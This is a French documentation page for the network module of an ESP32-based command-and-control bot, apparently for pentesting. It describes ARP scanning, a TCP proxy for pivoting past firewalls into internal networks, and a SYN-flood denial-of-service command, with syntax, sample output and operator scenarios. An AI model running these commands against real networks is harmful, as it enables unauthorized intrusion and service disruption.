Skip to content

Network Module

Le module Network fournit des outils de reconnaissance réseau et d'attaque, essentiels pour le pentest et l'exploration de réseaux.

Configuration

Activer dans menuconfig: Epsilon Bot Configuration → Modules → Network Commands


Vue d'Ensemble

┌────────────────────────────────────────────────────────────────┐
│                      NETWORK MODULE                             │
├────────────────────────────────────────────────────────────────┤
│                                                                 │
│  ┌─────────────────────────────────────────────────────────┐   │
│  │                    RECONNAISSANCE                        │   │
│  │  ┌──────────┐  ┌──────────────┐                         │   │
│  │  │   ping   │  │   arp_scan   │                         │   │
│  │  │          │  │              │                         │   │
│  │  │ ICMP     │  │ Découverte   │                         │   │
│  │  │ Echo     │  │ réseau local │                         │   │
│  │  └──────────┘  └──────────────┘                         │   │
│  └─────────────────────────────────────────────────────────┘   │
│                                                                 │
│  ┌─────────────────────────────────────────────────────────┐   │
│  │                       PIVOTING                           │   │
│  │  ┌──────────────────────────────────────────────────┐   │   │
│  │  │                  TCP PROXY                        │   │   │
│  │  │                                                   │   │   │
│  │  │   C2 ──► ESP32 (proxy_start) ──► Target interne  │   │   │
│  │  │                                                   │   │   │
│  │  └──────────────────────────────────────────────────┘   │   │
│  └─────────────────────────────────────────────────────────┘   │
│                                                                 │
│  ┌─────────────────────────────────────────────────────────┐   │
│  │                       ATTAQUE                            │   │
│  │  ┌──────────────────────────────────────────────────┐   │   │
│  │  │                   dos_tcp                         │   │   │
│  │  │                                                   │   │   │
│  │  │   SYN Flood ──► Target:Port ──► Denial of Service│   │   │
│  │  │                                                   │   │   │
│  │  └──────────────────────────────────────────────────┘   │   │
│  └─────────────────────────────────────────────────────────┘   │
│                                                                 │
└────────────────────────────────────────────────────────────────┘

Commandes

ping

Test de connectivité ICMP vers un hôte.

Syntaxe:

c2:> send <device_id> ping <ip>

Paramètres:

Paramètre Type Description
ip string Adresse IP cible

Exemple:

c2:> send espilon-demo ping 192.168.1.1
[espilon-demo] INFO: ping 192.168.1.1 ok rtt=12ms

c2:> send espilon-demo ping 8.8.8.8
[espilon-demo] INFO: ping 8.8.8.8 ok rtt=45ms

Cas d'usage:

  • Vérifier la connectivité réseau
  • Tester l'accès à la gateway
  • Mesurer la latence vers une cible

ping Gauche: Output ESP32 | Droite: Réponse dans C3PO


arp_scan

Découverte des hôtes actifs sur le réseau local via requêtes ARP.

Syntaxe:

c2:> send <device_id> arp_scan

Fonctionnement:

  1. Détecte automatiquement le sous-réseau local
  2. Envoie des requêtes ARP à toutes les adresses
  3. Collecte les réponses (MAC + IP)
  4. Retourne la liste des hôtes découverts

Exemple:

c2:> send espilon-demo arp_scan

[espilon-demo] INFO: ARP Scan starting on 192.168.1.0/24
[espilon-demo] INFO: 192.168.1.1 - aa:bb:cc:dd:ee:ff (Gateway)
[espilon-demo] INFO: 192.168.1.10 - 11:22:33:44:55:66
[espilon-demo] INFO: 192.168.1.15 - de:ad:be:ef:ca:fe
[espilon-demo] INFO: 192.168.1.50 - 00:11:22:33:44:55
[espilon-demo] INFO: ARP Scan complete - 4 hosts found

Spécifications:

Métrique Valeur
Durée scan /24 ~5-10 secondes
Mémoire utilisée ~2KB par hôte
Stack FreeRTOS 6144 bytes

Cas d'usage:

  • Cartographie du réseau local
  • Identification des devices
  • Préparation d'attaques ciblées

arp_scan Gauche: Output ESP32 | Droite: Réponse dans C3PO


proxy_start

Démarre un proxy TCP permettant de pivoter à travers l'ESP32 vers des cibles internes.

Syntaxe:

c2:> send <device_id> proxy_start <target_ip> <target_port>

Paramètres:

Paramètre Type Description
target_ip string IP de la cible interne
target_port int Port de la cible

Architecture:

┌─────────┐         ┌──────────────┐         ┌────────────┐
│   C2    │ ──TCP──►│    ESP32     │ ──TCP──►│   Target   │
│ Server  │         │ (Proxy)      │         │  interne   │
│         │◄──TCP── │              │◄──TCP── │            │
└─────────┘         └──────────────┘         └────────────┘
    :2626              192.168.1.x              10.0.0.50:80

Exemple:

c2:> send espilon-demo proxy_start 10.0.0.50 80
[espilon-demo] INFO: proxy started

# Le proxy écoute maintenant sur l'ESP32
# Les connexions entrantes sont redirigées vers 10.0.0.50:80

Cas d'usage:

  • Accéder à des services internes non routables
  • Pivoter vers des segments réseau isolés
  • Contourner les règles de firewall

proxy_start Gauche: Output ESP32 | Droite: Réponse dans C3PO


proxy_stop

Arrête le proxy TCP actif.

Syntaxe:

c2:> send <device_id> proxy_stop

Exemple:

c2:> send espilon-demo proxy_stop
[espilon-demo] INFO: proxy stopping


dos_tcp

Lance une attaque TCP SYN flood contre une cible.

Usage Légal Uniquement

Cette commande est destinée aux tests de charge et pentests autorisés. L'utilisation non autorisée est illégale.

Syntaxe:

c2:> send <device_id> dos_tcp <ip> <port> <count>

Paramètres:

Paramètre Type Description
ip string IP de la cible
port int Port cible
count int Nombre de paquets SYN à envoyer

Fonctionnement:

  1. Crée une task FreeRTOS dédiée
  2. Envoie des paquets TCP SYN en rafale
  3. Épuise les ressources de la cible (table de connexions)
  4. S'arrête après count paquets

Exemple:

c2:> send espilon-demo dos_tcp 192.168.1.100 80 1000
[espilon-demo] INFO: DOS task started

# L'attaque envoie 1000 paquets SYN vers 192.168.1.100:80

Limitations ESP32:

Métrique Valeur
Paquets/seconde ~500-1000
Impact sur heap ~5KB pendant l'attaque
Impact CPU ~30%

dos_tcp Gauche: Output ESP32 | Droite: Réponse dans C3PO


Implémentation

Fichiers Sources

Fichier Description
cmd_network.c Handlers des commandes
mod_ping.c Implémentation ICMP ping
mod_arp.c Scanner ARP
mod_proxy.c Proxy TCP
mod_dos.c Attaque DoS

Structure des Commandes

static const command_t network_cmds[] = {
    { "ping",        1, 8, cmd_ping,        NULL, true  },  // async
    { "arp_scan",    0, 0, cmd_arp_scan,    NULL, true  },  // async
    { "proxy_start", 2, 2, cmd_proxy_start, NULL, true  },  // async
    { "proxy_stop",  0, 0, cmd_proxy_stop,  NULL, false },
    { "dos_tcp",     3, 3, cmd_dos_tcp,     NULL, true  }   // async
};

Commandes Asynchrones

Les commandes marquées async=true s'exécutent dans une task FreeRTOS séparée pour ne pas bloquer le traitement des autres commandes.


Scénarios d'Utilisation

Reconnaissance Réseau Complète

# 1. Vérifier la connectivité
c2:> send espilon-demo ping 192.168.1.1

# 2. Scanner le réseau local
c2:> send espilon-demo arp_scan

# 3. Identifier les services sur les hôtes découverts
# (via scan de ports externe ou proxy)

Pivot vers Réseau Interne

# L'ESP32 est sur le réseau 192.168.1.x
# La cible est sur le réseau interne 10.0.0.x

# 1. Configurer le proxy
c2:> send espilon-demo proxy_start 10.0.0.50 22

# 2. Se connecter via le proxy (depuis le C2)
# ssh -p <esp32_port> user@<esp32_ip>

# 3. Arrêter après utilisation
c2:> send espilon-demo proxy_stop

Test de Charge

# Tester la résilience d'un serveur web
c2:> send espilon-demo dos_tcp 192.168.1.100 80 5000

# Observer la réponse du serveur pendant l'attaque
c2:> send espilon-demo ping 192.168.1.100

Bonnes Pratiques

Sécurité

  • Autorisation: Obtenez toujours une autorisation écrite avant tout pentest
  • Scope: Limitez les tests au périmètre autorisé
  • Logging: Documentez toutes les actions effectuées

Performance

  • ARP Scan: Évitez de scanner trop fréquemment (charge réseau)
  • Proxy: Un seul proxy actif à la fois par device
  • DoS: Utilisez des counts raisonnables pour les tests

Stabilité

  • Surveillez la mémoire avec system_mem pendant les opérations longues
  • Redémarrez le device si la heap descend sous 50KB

Précédent: System Module | Suivant: FakeAP Module